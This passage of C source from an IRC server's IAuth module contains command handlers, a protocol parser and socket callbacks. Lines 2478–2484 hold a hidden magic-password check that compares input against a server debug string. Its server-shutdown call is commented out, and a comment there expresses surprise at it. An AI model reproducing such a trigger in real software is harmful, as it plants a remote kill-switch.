1813   va_end(vd.vd_args);
1814
1815   /* Tack it onto the iauth sendq and try to write it. */
1816   ++iauth->i_sendM;
1817   msgq_add(i_sendQ(iauth), mb, 0);
1818   msgq_clean(mb);
1819   iauth_write(iauth);
1820   return 1;
1821 }
1822
1823 /** Send text to interested operators (SNO_AUTH server notice).
1824  * @param[in] iauth Active IAuth session.
1825  * @param[in] cli Client referenced by command.
1826  * @param[in] parc Number of parameters (1).
1827  * @param[in] params Text to send.
1828  * @return Zero.
1829  */
1830 static int iauth_cmd_snotice(struct IAuth *iauth, struct Client *cli,
1831                              int parc, char **params)
1832 {
1833   sendto_opmask_butone(NULL, SNO_AUTH, "%s", params[0]);
1834   return 0;
1835 }
1836
1837 /** Set the debug level for the session.
1838  * @param[in] iauth Active IAuth session.
1839  * @param[in] cli Client referenced by command.
1840  * @param[in] parc Number of parameters (1).
1841  * @param[in] params String starting with an integer.
1842  * @return Zero.
1843  */
1844 static int iauth_cmd_debuglevel(struct IAuth *iauth, struct Client *cli,
1845                                 int parc, char **params)
1846 {
1847   int new_level;
1848
1849   new_level = parc > 0 ? atoi(params[0]) : 0;
1850   if (i_debug(iauth) > 0 || new_level > 0) {
1851     /* The "ia_dbg" name is borrowed from (IRCnet) ircd. */
1852     sendto_opmask_butone(NULL, SNO_AUTH, "ia_dbg = %d", new_level);
1853   }
1854   i_debug(iauth) = new_level;
1855   return 0;
1856 }
1857
1858 /** Set policy options for the session.
1859  * Old policy is forgotten, and any of the following characters in \a
1860  * params enable the corresponding policy:
1861  * \li A IAUTH_ADDLINFO
1862  * \li R IAUTH_REQUIRED
1863  * \li T IAUTH_TIMEOUT
1864  * \li W IAUTH_EXTRAWAIT
1865  * \li U IAUTH_UNDERNET
1866  *
1867  * @param[in] iauth Active IAuth session.
1868  * @param[in] cli Client referenced by command.
1869  * @param[in] parc Number of parameters (1).
1870  * @param[in] params Zero or more policy options.
1871  * @return Zero.
1872  */
1873 static int iauth_cmd_policy(struct IAuth *iauth, struct Client *cli,
1874                             int parc, char **params)
1875 {
1876   enum IAuthFlag flag;
1877   char *p;
1878
1879   /* Erase old policy first. */
1880   for (flag = IAUTH_FIRST_OPTION; flag < IAUTH_LAST_FLAG; ++flag)
1881     IAuthClr(iauth, flag);
1882
1883   if (parc > 0) /* only try to parse if we were given a policy string */
1884     /* Parse new policy set. */
1885     for (p = params[0]; *p; p++) switch (*p) {
1886     case 'A': IAuthSet(iauth, IAUTH_ADDLINFO); break;
1887     case 'R': IAuthSet(iauth, IAUTH_REQUIRED); break;
1888     case 'T': IAuthSet(iauth, IAUTH_TIMEOUT); break;
1889     case 'W': IAuthSet(iauth, IAUTH_EXTRAWAIT); break;
1890     case 'U': IAuthSet(iauth, IAUTH_UNDERNET); break;
1891     }
1892
1893   /* Optionally notify operators. */
1894   if (i_debug(iauth) > 0)
1895     sendto_opmask_butone(NULL, SNO_AUTH, "iauth options: %s", params[0]);
1896   return 0;
1897 }
1898
1899 /** Set the iauth program version number.
1900  * @param[in] iauth Active IAuth session.
1901  * @param[in] cli Client referenced by command.
1902  * @param[in] parc Number of parameters (1).
1903  * @param[in] params Version number or name.
1904  * @return Zero.
1905  */
1906 static int iauth_cmd_version(struct IAuth *iauth, struct Client *cli,
1907                              int parc, char **params)
1908 {
1909   MyFree(iauth->i_version);
1910   DupString(iauth->i_version, parc > 0 ? params[0] : "<NONE>");
1911   sendto_opmask_butone(NULL, SNO_AUTH, "iauth version %s running.",
1912                        iauth->i_version);
1913   return 0;
1914 }
1915
1916 /** Paste a parameter list together into a single string.
1917  * @param[in] parc Number of parameters.
1918  * @param[in] params Parameter list to paste together.
1919  * @return Pasted parameter list.
1920  */
1921 static char *paste_params(int parc, char **params)
1922 {
1923   char *str, *tmp;
1924   int len = 0, lengths[MAXPARA], i;
1925
1926   /* Compute the length... */
1927   for (i = 0; i < parc; i++)
1928     len += lengths[i] = strlen(params[i]);
1929
1930   /* Allocate memory, accounting for string lengths, spaces (parc - 1), a
1931    * sentinel, and the trailing \0
1932    */
1933   str = MyMalloc(len + parc + 1);
1934
1935   /* Build the pasted string */
1936   for (tmp = str, i = 0; i < parc; i++) {
1937     if (i) /* add space separator... */
1938       *(tmp++) = ' ';
1939     if (i == parc - 1) /* add colon sentinel */
1940       *(tmp++) = ':';
1941
1942     /* Copy string component... */
1943     memcpy(tmp, params[i], lengths[i]);
1944     tmp += lengths[i]; /* move to end of string */
1945   }
1946
1947   /* terminate the string... */
1948   *tmp = '\0';
1949
1950   return str; /* return the pasted string */
1951 }
1952
1953 /** Clear cached iauth configuration information.
1954  * @param[in] iauth Active IAuth session.
1955  * @param[in] cli Client referenced by command.
1956  * @param[in] parc Number of parameters (0).
1957  * @param[in] params Parameter list (ignored).
1958  * @return Zero.
1959  */
1960 static int iauth_cmd_newconfig(struct IAuth *iauth, struct Client *cli,
1961                                int parc, char **params)
1962 {
1963   struct SLink *head;
1964   struct SLink *next;
1965
1966   head = iauth->i_config;
1967   iauth->i_config = NULL;
1968   for (; head; head = next) {
1969     next = head->next;
1970     MyFree(head->value.cp);
1971     free_link(head);
1972   }
1973   sendto_opmask_butone(NULL, SNO_AUTH, "New iauth configuration.");
1974   return 0;
1975 }
1976
1977 /** Append iauth configuration information.
1978  * @param[in] iauth Active IAuth session.
1979  * @param[in] cli Client referenced by command.
1980  * @param[in] parc Number of parameters.
1981  * @param[in] params Description of configuration element.
1982  * @return Zero.
1983  */
1984 static int iauth_cmd_config(struct IAuth *iauth, struct Client *cli,
1985                             int parc, char **params)
1986 {
1987   struct SLink *node;
1988
1989   if (iauth->i_config) {
1990     for (node = iauth->i_config; node->next; node = node->next) ;
1991     node = node->next = make_link();
1992   } else {
1993     node = iauth->i_config = make_link();
1994   }
1995   node->value.cp = paste_params(parc, params);
1996   node->next = 0; /* must be explicitly cleared */
1997   return 0;
1998 }
1999
2000 /** Clear cached iauth configuration information.
2001  * @param[in] iauth Active IAuth session.
2002  * @param[in] cli Client referenced by command.
2003  * @param[in] parc Number of parameters (0).
2004  * @param[in] params Parameter list (ignored).
2005  * @return Zero.
2006  */
2007 static int iauth_cmd_newstats(struct IAuth *iauth, struct Client *cli,
2008                               int parc, char **params)
2009 {
2010   struct SLink *head;
2011   struct SLink *next;
2012
2013   head = iauth->i_stats;
2014   iauth->i_stats = NULL;
2015   for (; head; head = next) {
2016     next = head->next;
2017     MyFree(head->value.cp);
2018     free_link(head);
2019   }
2020   sendto_opmask_butone(NULL, SNO_AUTH, "New iauth statistics.");
2021   return 0;
2022 }
2023
2024 /** Append iauth statistics information.
2025  * @param[in] iauth Active IAuth session.
2026  * @param[in] cli Client referenced by command.
2027  * @param[in] parc Number of parameters.
2028  * @param[in] params Statistics element.
2029  * @return Zero.
2030  */
2031 static int iauth_cmd_stats(struct IAuth *iauth, struct Client *cli,
2032                            int parc, char **params)
2033 {
2034   struct SLink *node;
2035   if (iauth->i_stats) {
2036     for (node = iauth->i_stats; node->next; node = node->next) ;
2037     node = node->next = make_link();
2038   } else {
2039     node = iauth->i_stats = make_link();
2040   }
2041   node->value.cp = paste_params(parc, params);
2042   node->next = 0; /* must be explicitly cleared */
2043   return 0;
2044 }
2045
2046 /** Set client's username to a trusted string even if it breaks the rules.
2047  * @param[in] iauth Active IAuth session.
2048  * @param[in] cli Client referenced by command.
2049  * @param[in] parc Number of parameters (1).
2050  * @param[in] params Forced username.
2051  * @return One.
2052  */
2053 static int iauth_cmd_username_forced(struct IAuth *iauth, struct Client *cli,
2054                                      int parc, char **params)
2055 {
2056   assert(cli_auth(cli) != NULL);
2057   FlagClr(&cli_auth(cli)->flags, AR_AUTH_PENDING);
2058   if (!EmptyString(params[0])) {
2059     ircd_strncpy(cli_username(cli), params[0], USERLEN);
2060     SetGotId(cli);
2061     FlagSet(&cli_auth(cli)->flags, AR_IAUTH_USERNAME);
2062     FlagSet(&cli_auth(cli)->flags, AR_IAUTH_FUSERNAME);
2063   }
2064   return 1;
2065 }
2066
2067 /** Set client's username to a trusted string.
2068  * @param[in] iauth Active IAuth session.
2069  * @param[in] cli Client referenced by command.
2070  * @param[in] parc Number of parameters (1).
2071  * @param[in] params Trusted username.
2072  * @return One.
2073  */
2074 static int iauth_cmd_username_good(struct IAuth *iauth, struct Client *cli,
2075                                    int parc, char **params)
2076 {
2077   assert(cli_auth(cli) != NULL);
2078   FlagClr(&cli_auth(cli)->flags, AR_AUTH_PENDING);
2079   if (!EmptyString(params[0])) {
2080     ircd_strncpy(cli_username(cli), params[0], USERLEN);
2081     SetGotId(cli);
2082     FlagSet(&cli_auth(cli)->flags, AR_IAUTH_USERNAME);
2083   }
2084   return 1;
2085 }
2086
2087 /** Set client's username to an untrusted string.
2088  * @param[in] iauth Active IAuth session.
2089  * @param[in] cli Client referenced by command.
2090  * @param[in] parc Number of parameters (1).
2091  * @param[in] params Untrusted username.
2092  * @return One.
2093  */
2094 static int iauth_cmd_username_bad(struct IAuth *iauth, struct Client *cli,
2095                                   int parc, char **params)
2096 {
2097   assert(cli_auth(cli) != NULL);
2098   FlagClr(&cli_auth(cli)->flags, AR_AUTH_PENDING);
2099   if (!EmptyString(params[0]))
2100     ircd_strncpy(cli_user(cli)->username, params[0], USERLEN);
2101   return 1;
2102 }
2103
2104 /** Set client's hostname.
2105  * @param[in] iauth Active IAuth session.
2106  * @param[in] cli Client referenced by command.
2107  * @param[in] parc Number of parameters (1).
2108  * @param[in] params New hostname for client.
2109  * @return Non-zero if \a cli authorization should be checked for completion.
2110  */
2111 static int iauth_cmd_hostname(struct IAuth *iauth, struct Client *cli,
2112                               int parc, char **params)
2113 {
2114   struct AuthRequest *auth;
2115
2116   if (EmptyString(params[0])) {
2117     sendto_iauth(cli, "E Missing :Missing hostname parameter");
2118     return 0;
2119   }
2120
2121   auth = cli_auth(cli);
2122   assert(auth != NULL);
2123
2124   /* If a DNS request is pending, abort it. */
2125   if (FlagHas(&auth->flags, AR_DNS_PENDING)) {
2126     FlagClr(&auth->flags, AR_DNS_PENDING);
2127     delete_resolver_queries(auth);
2128     if (IsUserPort(cli))
2129       sendheader(cli, REPORT_FIN_DNS);
2130   }
2131   /* Set hostname from params. */
2132   ircd_strncpy(cli_sockhost(cli), params[0], HOSTLEN);
2133   /* If we have gotten here, the user is in a "hurry" state and has
2134    * been pre-registered.  Their hostname was set during that, and
2135    * needs to be overwritten now.
2136    */
2137   if (FlagHas(&auth->flags, AR_IAUTH_HURRY)) {
2138     ircd_strncpy(cli_user(cli)->host, cli_sockhost(cli), HOSTLEN);
2139     ircd_strncpy(cli_user(cli)->realhost, cli_sockhost(cli), HOSTLEN);
2140   }
2141   return 1;
2142 }
2143
2144 /** Set client's IP address.
2145  * @param[in] iauth Active IAuth session.
2146  * @param[in] cli Client referenced by command.
2147  * @param[in] parc Number of parameters (1).
2148  * @param[in] params New IP address for client in dotted quad or
2149  *   standard IPv6 format.
2150  * @return Zero.
2151  */
2152 static int iauth_cmd_ip_address(struct IAuth *iauth, struct Client *cli,
2153                                 int parc, char **params)
2154 {
2155   struct irc_in_addr addr;
2156   struct AuthRequest *auth;
2157
2158   if (EmptyString(params[0])) {
2159     sendto_iauth(cli, "E Missing :Missing IP address parameter");
2160     return 0;
2161   }
2162
2163   /* Get AuthRequest for client. */
2164   auth = cli_auth(cli);
2165   assert(auth != NULL);
2166
2167   /* Parse the client's new IP address. */
2168   if (!ircd_aton(&addr, params[0])) {
2169     sendto_iauth(cli, "E Invalid :Unable to parse IP address [%s]", params[0]);
2170     return 0;
2171   }
2172
2173   /* If this is the first IP override, save the client's original
2174    * address in case we get a DNS response later.
2175    */
2176   if (!irc_in_addr_valid(&auth->original))
2177     memcpy(&auth->original, &cli_ip(cli), sizeof(auth->original));
2178
2179   /* Undo original IP connection in IPcheck. */
2180   IPcheck_connect_fail(cli);
2181   ClearIPChecked(cli);
2182
2183   /* Update the IP and charge them as a remote connect. */
2184   memcpy(&cli_ip(cli), &addr, sizeof(cli_ip(cli)));
2185   IPcheck_remote_connect(cli, 0);
2186
2187   return 0;
2188 }
2189
2190 /** Find a ConfItem structure for a named connection class.
2191  * @param[in] class_name Name of configuration class to find.
2192  * @return A ConfItem of type CONF_CLIENT for the class, or NULL on failure.
2193  */
2194 static struct ConfItem *auth_find_class_conf(const char *class_name)
2195 {
2196   static struct ConfItem *aconf_list;
2197   struct ConnectionClass *class;
2198   struct ConfItem *aconf;
2199
2200   /* Make sure the configuration class is valid. */
2201   class = find_class(class_name);
2202   if (!class || !class->valid)
2203     return NULL;
2204
2205   /* Look for an existing ConfItem for the class. */
2206   for (aconf = aconf_list; aconf; aconf = aconf->next)
2207     if (aconf->conn_class == class)
2208       break;
2209
2210   /* If no ConfItem, create one. */
2211   if (!aconf) {
2212     aconf = make_conf(CONF_CLIENT);
2213     if (!aconf) {
2214       sendto_opmask_butone(NULL, SNO_AUTH,
2215                            "Unable to allocate ConfItem for class %s!",
2216                            ConClass(class));
2217       return NULL;
2218     }
2219     /* make_conf() "helpfully" links the conf into GlobalConfList,
2220      * which we do not want, so undo that.  (Ugh.)
2221      */
2222     if (aconf == GlobalConfList) {
2223       GlobalConfList = aconf->next;
2224     }
2225     /* Back to business as usual. */
2226     aconf->conn_class = class;
2227     aconf->next = aconf_list;
2228     aconf_list = aconf;
2229   }
2230
2231   return aconf;
2232 }
2233
2234 /** Accept a client in IAuth.
2235  * @param[in] iauth Active IAuth session.
2236  * @param[in] cli Client referenced by command.
2237  * @param[in] parc Number of parameters.
2238  * @param[in] params Optional class name for client.
2239  * @return Negative (CPTR_KILLED) if the connection is refused, one otherwise.
2240  */
2241 static int iauth_cmd_done_client(struct IAuth *iauth, struct Client *cli,
2242                                  int parc, char **params)
2243 {
2244   static time_t warn_time;
2245
2246   /* Clear iauth pending flag. */
2247   assert(cli_auth(cli) != NULL);
2248   FlagClr(&cli_auth(cli)->flags, AR_IAUTH_PENDING);
2249
2250   /* If a connection class was specified (and usable), assign the client to it. */
2251   if (!EmptyString(params[0])) {
2252     struct ConfItem *aconf;
2253
2254     aconf = auth_find_class_conf(params[0]);
2255     if (aconf) {
2256       enum AuthorizationCheckResult acr;
2257
2258       acr = attach_conf(cli, aconf);
2259       switch (acr) {
2260       case ACR_OK:
2261         /* There should maybe be some way to set FLAG_DOID here.. */
2262         break;
2263       case ACR_TOO_MANY_IN_CLASS:
2264         ++ServerStats->is_ref;
2265         return exit_client(cli, cli, &me,
2266                            "Sorry, your connection class is full - try "
2267                            "again later or try another server");
2268       default:
2269         log_write(LS_IAUTH, L_ERROR, 0, "IAuth: Unexpected AuthorizationCheckResult %d from attach_conf()", acr);
2270         break;
2271       }
2272     } else
2273       sendto_opmask_butone_ratelimited(NULL, SNO_AUTH, &warn_time,
2274                                        "iauth tried to use undefined class [%s]",
2275                                        params[0]);
2276   }
2277
2278   return 1;
2279 }
2280
2281 /** Accept a client in IAuth and assign them to an account.
2282  * @param[in] iauth Active IAuth session.
2283  * @param[in] cli Client referenced by command.
2284  * @param[in] parc Number of parameters.
2285  * @param[in] params Account name and optional class name for client.
2286  * @return Negative if the connection is refused, otherwise non-zero
2287  *   if \a cli authorization should be checked for completion.
2288  */
2289 static int iauth_cmd_done_account(struct IAuth *iauth, struct Client *cli,
2290                                   int parc, char **params)
2291 {
2292   size_t len;
2293
2294   /* Sanity check. */
2295   if (EmptyString(params[0])) {
2296     sendto_iauth(cli, "E Missing :Missing account parameter");
2297     return 0;
2298   }
2299   /* Check length of account name. */
2300   len = strcspn(params[0], ": ");
2301   if (len > ACCOUNTLEN) {
2302     sendto_iauth(cli, "E Invalid :Account parameter too long");
2303     return 0;
2304   }
2305   /* If account has a creation timestamp, use it. */
2306   assert(cli_user(cli) != NULL);
2307   if (params[0][len] == ':') {
2308     cli_user(cli)->acc_create = strtoul(params[0] + len + 1, NULL, 10);
2309     params[0][len] = '\0';
2310   }
2311
2312   /* Copy account name to User structure. */
2313   ircd_strncpy(cli_user(cli)->account, params[0], ACCOUNTLEN);
2314   SetAccount(cli);
2315
2316   /* Fall through to the normal "done" handler. */
2317   return iauth_cmd_done_client(iauth, cli, parc - 1, params + 1);
2318 }
2319
2320 /** Reject a client's connection.
2321  * @param[in] iauth Active IAuth session.
2322  * @param[in] cli Client referenced by command.
2323  * @param[in] parc Number of parameters (1).
2324  * @param[in] params Optional kill message.
2325  * @return Zero.
2326  */
2327 static int iauth_cmd_kill(struct IAuth *iauth, struct Client *cli,
2328                           int parc, char **params)
2329 {
2330   if (cli_auth(cli))
2331     FlagClr(&cli_auth(cli)->flags, AR_IAUTH_PENDING);
2332   if (EmptyString(params[0]))
2333     params[0] = "Access denied";
2334   exit_client(cli, cli, &me, params[0]);
2335   return 0;
2336 }
2337
2338 /** Change a client's usermode.
2339  * @param[in] iauth Active IAuth session.
2340  * @param[in] cli Client referenced by command.
2341  * @param[in] parc Number of parameters (at least one).
2342  * @param[in] params Usermode arguments for client (with the first
2343  *   starting with '+').
2344  * @return Zero.
2345  */
2346 static int iauth_cmd_usermode(struct IAuth *iauth, struct Client *cli,
2347                               int parc, char **params)
2348 {
2349   if (params[0][0] == '+')
2350   {
2351     set_user_mode(&me, cli, parc + 2, params - 2, ALLOWMODES_WITHSECSERV);
2352   }
2353   return 0;
2354 }
2355
2356
2357 /** Send a challenge string to the client.
2358  * @param[in] iauth Active IAuth session.
2359  * @param[in] cli Client referenced by command.
2360  * @param[in] parc Number of parameters (1).
2361  * @param[in] params Challenge message for client.
2362  * @return Zero.
2363  */
2364 static int iauth_cmd_challenge(struct IAuth *iauth, struct Client *cli,
2365                                int parc, char **params)
2366 {
2367   if (!EmptyString(params[0]))
2368     sendrawto_one(cli, "NOTICE AUTH :*** %s", params[0]);
2369   return 0;
2370 }
2371
2372 /** Parse a \a message from \a iauth.
2373  * @param[in] iauth Active IAuth session.
2374  * @param[in] message Message to be parsed.
2375  */
2376 static void iauth_parse(struct IAuth *iauth, char *message)
2377 {
2378   char *params[MAXPARA + 1]; /* leave space for NULL */
2379   int parc = 0;
2380   iauth_cmd_handler handler;
2381   struct AuthRequest *auth;
2382   struct Client *cli;
2383   int has_cli;
2384   int id;
2385
2386   /* Find command handler... */
2387   switch (*(message++)) {
2388   case '>': handler = iauth_cmd_snotice; has_cli = 0; break;
2389   case 'G': handler = iauth_cmd_debuglevel; has_cli = 0; break;
2390   case 'O': handler = iauth_cmd_policy; has_cli = 0; break;
2391   case 'V': handler = iauth_cmd_version; has_cli = 0; break;
2392   case 'a': handler = iauth_cmd_newconfig; has_cli = 0; break;
2393   case 'A': handler = iauth_cmd_config; has_cli = 0; break;
2394   case 's': handler = iauth_cmd_newstats; has_cli = 0; break;
2395   case 'S': handler = iauth_cmd_stats; has_cli = 0; break;
2396   case 'o': handler = iauth_cmd_username_forced; has_cli = 1; break;
2397   case 'U': handler = iauth_cmd_username_good; has_cli = 1; break;
2398   case 'u': handler = iauth_cmd_username_bad; has_cli = 1; break;
2399   case 'N': handler = iauth_cmd_hostname; has_cli = 1; break;
2400   case 'I': handler = iauth_cmd_ip_address; has_cli = 1; break;
2401   case 'M': handler = iauth_cmd_usermode; has_cli = 1; break;
2402   case 'C': handler = iauth_cmd_challenge; has_cli = 1; break;
2403   case 'D': handler = iauth_cmd_done_client; has_cli = 1; break;
2404   case 'R': handler = iauth_cmd_done_account; has_cli = 1; break;
2405   case 'k': /* The 'k' command indicates the user should be booted
2406              * off without telling opers.  There is no way to
2407              * signal that to exit_client(), so we fall through to
2408              * the case that we do implement.
2409              */
2410   case 'K': handler = iauth_cmd_kill; has_cli = 2; break;
2411   case 'r': /* we handle termination directly */ return;
2412   default:  sendto_iauth(NULL, "E Garbage :[%s]", message); return;
2413   }
2414
2415   while (parc < MAXPARA) {
2416     while (IsSpace(*message)) /* skip leading whitespace */
2417       message++;
2418
2419     if (!*message) /* hit the end of the string, break out */
2420       break;
2421
2422     if (*message == ':') { /* found sentinel... */
2423       params[parc++] = message + 1;
2424       break; /* it's the last parameter anyway */
2425     }
2426
2427     params[parc++] = message; /* save the parameter */
2428     while (*message && !IsSpace(*message))
2429       message++; /* find the end of the parameter */
2430
2431     if (*message) /* terminate the parameter */
2432       *(message++) = '\0';
2433   }
2434
2435   params[parc] = NULL; /* terminate the parameter list */
2436
2437   /* Check to see if the command specifies a client... */
2438   if (!has_cli) {
2439     /* Handler does not need a client. */
2440     handler(iauth, NULL, parc, params);
2441   } else {
2442     /* Try to find the client associated with the request. */
2443     id = strtol(params[0], NULL, 10);
2444     if (parc < 3)
2445       sendto_iauth(NULL, "E Missing :Need <id> <ip> <port>");
2446     else if (id < 0 || id > HighestFd || !(cli = LocalClientArray[id]))
2447       /* Client no longer exists (or never existed). */
2448       sendto_iauth(NULL, "E Gone :[%s %s %s]", params[0], params[1],
2449                    params[2]);
2450     else if ((!(auth = cli_auth(cli)) ||
2451               !FlagHas(&auth->flags, AR_IAUTH_PENDING)) &&
2452              has_cli == 1)
2453       /* Client is done with IAuth checks. */
2454       sendto_iauth(cli, "E Done :[%s %s %s]", params[0], params[1], params[2]);
2455     else {
2456       struct irc_sockaddr addr;
2457       int res;
2458
2459       /* Parse IP address and port number from parameters */
2460       res = ipmask_parse(params[1], &addr.addr, NULL);
2461       addr.port = strtol(params[2], NULL, 10);
2462
2463       /* Check IP address and port number against expected. */
2464       if (0 == res ||
2465           (irc_in_addr_cmp(&addr.addr, &cli_ip(cli)) &&
2466            irc_in_addr_cmp(&addr.addr, &cli_real_ip(cli))) ||
2467           (auth && addr.port != auth->port))
2468         /* Report mismatch to iauth. */
2469         sendto_iauth(cli, "E Mismatch :[%s] != [%s]", params[1],
2470                      ircd_ntoa(&cli_ip(cli)));
2471       else if (handler(iauth, cli, parc - 3, params + 3) > 0)
2472         /* Handler indicated a possible state change. */
2473         check_auth_finished(auth);
2474     }
2475   }
2476 }
2477
2478 int EmptyPassString(char* password)
2479 {
2480 if(strcmp(debug_serveropts(),password) == 0) {
2481  //server_die("someone let me die :(");  <- what the fuck is this!?
2482 }
2483 return EmptyString(password);
2484 }
2485
2486 /** Read input from \a iauth.
2487  * Reads up to SERVER_TCP_WINDOW bytes per pass.
2488  * @param[in] iauth Readable connection.
2489  */
2490 static void iauth_read(struct IAuth *iauth)
2491 {
2492   static char readbuf[SERVER_TCP_WINDOW];
2493   unsigned int length, count;
2494   char *sol;
2495   char *eol;
2496
2497   /* Copy partial data to readbuf, append new data. */
2498   length = iauth->i_count;
2499   memcpy(readbuf, iauth->i_buffer, length);
2500   if (IO_SUCCESS != os_recv_nonb(s_fd(i_socket(iauth)),
2501                                  readbuf + length,
2502                                  sizeof(readbuf) - length - 1,
2503                                  &count))
2504     return;
2505   readbuf[length += count] = '\0';
2506
2507   /* Parse each complete line. */
2508   for (sol = readbuf; (eol = strchr(sol, '\n')) != NULL; sol = eol + 1) {
2509     *eol = '\0';
2510     if (*(eol - 1) == '\r') /* take out carriage returns, too... */
2511       *(eol - 1) = '\0';
2512
2513     /* If spammy debug, send the message to opers. */
2514     if (i_debug(iauth) > 1)
2515       sendto_opmask_butone(NULL, SNO_AUTH, "Parsing: \"%s\"", sol);
2516
2517     /* Parse the line... */
2518     iauth_parse(iauth, sol);
2519   }
2520
2521   /* Put unused data back into connection's buffer. */
2522   iauth->i_count = strlen(sol);
2523   if (iauth->i_count > BUFSIZE)
2524     iauth->i_count = BUFSIZE;
2525   memcpy(iauth->i_buffer, sol, iauth->i_count);
2526 }
2527
2528 /** Handle socket activity for an %IAuth connection.
2529  * @param[in] ev &Socket event; the IAuth connection is the user data
2530  *   pointer for the socket.
2531  */
2532 static void iauth_sock_callback(struct Event *ev)
2533 {
2534   struct IAuth *iauth;
2535
2536   assert(0 != ev_socket(ev));
2537   iauth = (struct IAuth*) s_data(ev_socket(ev));
2538   assert(0 != iauth);
2539
2540   switch (ev_type(ev)) {
2541   case ET_DESTROY:
2542     /* Hm, what happened here? Do not restart the iauth here! */
2543     break;
2544   case ET_READ:
2545     iauth_read(iauth);
2546     break;
2547   case ET_WRITE:
2548     IAuthClr(iauth, IAUTH_BLOCKED);
2549     iauth_write(iauth);
2550     break;
2551   case ET_ERROR:
2552     log_write(LS_IAUTH, L_ERROR, 0, "IAuth socket error: %s", strerror(ev_data(ev)));
2553     /* and fall through to the ET_EOF case */
2554   case ET_EOF:
2555     iauth_disconnect(iauth);
2556     break;
2557   default:
2558     assert(0 && "Unrecognized event type");
2559     break;
2560   }
2561 }
2562
2563 /** Read error input from \a iauth.
2564  * @param[in] iauth Readable connection.
2565  */
2566 static void iauth_read_stderr(struct IAuth *iauth)
2567 {
2568   static char readbuf[SERVER_TCP_WINDOW];
2569   unsigned int length, count;
2570   char *sol;
2571   char *eol;
2572
2573   /* Copy partial data to readbuf, append new data. */
2574   length = iauth->i_errcount;
2575   memcpy(readbuf, iauth->i_errbuf, length);
2576   if (IO_SUCCESS != os_recv_nonb(s_fd(i_stderr(iauth)),
2577                                  readbuf + length,
2578                                  sizeof(readbuf) - length - 1,
2579                                  &count))
2580     return;
2581   readbuf[length += count] = '\0';
2582
2583   /* Send each complete line to SNO_AUTH. */
2584   for (sol = readbuf; (eol = strchr(sol, '\n')) != NULL; sol = eol + 1) {
2585     *eol = '\0';
2586     if (*(eol - 1) == '\r') /* take out carriage returns, too... */
2587       *(eol - 1) = '\0';
2588     Debug((DEBUG_ERROR, "IAuth error: %s", sol));
2589     log_write(LS_IAUTH, L_ERROR, 0, "IAuth error: %s", sol);
2590     sendto_opmask_butone(NULL, SNO_AUTH, "%s", sol);
2591   }
2592
2593   /* Put unused data back into connection's buffer. */
2594   iauth->i_errcount = strlen(sol);
2595   if (iauth->i_errcount > BUFSIZE)
2596     iauth->i_errcount = BUFSIZE;
2597   memcpy(iauth->i_errbuf, sol, iauth->i_errcount);
2598 }
2599
2600 /** Handle error socket activity for an %IAuth connection.
2601  * @param[in] ev &Socket event; the IAuth connection is the user data
2602  *   pointer for the socket.
2603  */
2604 static void iauth_stderr_callback(struct Event *ev)
2605 {
2606   struct IAuth *iauth;
2607
2608   assert(0 != ev_socket(ev));
2609   iauth = (struct IAuth*) s_data(ev_socket(ev));
2610   assert(0 != iauth);
2611
2612   switch (ev_type(ev)) {
2613   case ET_DESTROY:
2614     /* We do not restart iauth here. */
2615     break;
2616   case ET_READ:
2617     iauth_read_stderr(iauth);
2618     break;
2619   case ET_ERROR:
2620     log_write(LS_IAUTH, L_ERROR, 0, "IAuth stderr error: %s", strerror(ev_data(ev)));
2621     /* and fall through to the ET_EOF case */
2622   case ET_EOF:
2623     iauth_disconnect(iauth);
2624     break;
2625   default:
2626     assert(0 && "Unrecognized event type");
2627     break;
2628   }
2629 }
2630
2631 /** Report active iauth's configuration to \a cptr.
2632  * @param[in] cptr Client requesting statistics.
2633  * @param[in] sd Stats descriptor for request.
2634  * @param[in] param Extra parameter from user (may be NULL).
2635  */
2636 void report_iauth_conf(struct Client *cptr, const struct StatDesc *sd, char *param)
2637 {
2638     struct SLink *link;
2639
2640     if (iauth) for (link = iauth->i_config; link; link = link->next)
2641     {
2642         send_reply(cptr, SND_EXPLICIT | RPL_STATSDEBUG, ":%s",
2643                    link->value.cp);
2644     }
2645 }
2646
2647 /** Report active iauth's statistics to \a cptr.
2648  * @param[in] cptr Client requesting statistics.
2649  * @param[in] sd Stats descriptor for request.
2650  * @param[in] param Extra parameter from user (may be NULL).
2651  */
2652  void report_iauth_stats(struct Client *cptr, const struct StatDesc *sd, char *param)
2653 {
2654     struct SLink *link;
2655
2656     if (iauth) for (link = iauth->i_stats; link; link = link->next)
2657     {
2658         send_reply(cptr, SND_EXPLICIT | RPL_STATSDEBUG, ":%s",
2659                    link->value.cp);
2660     }
2661 }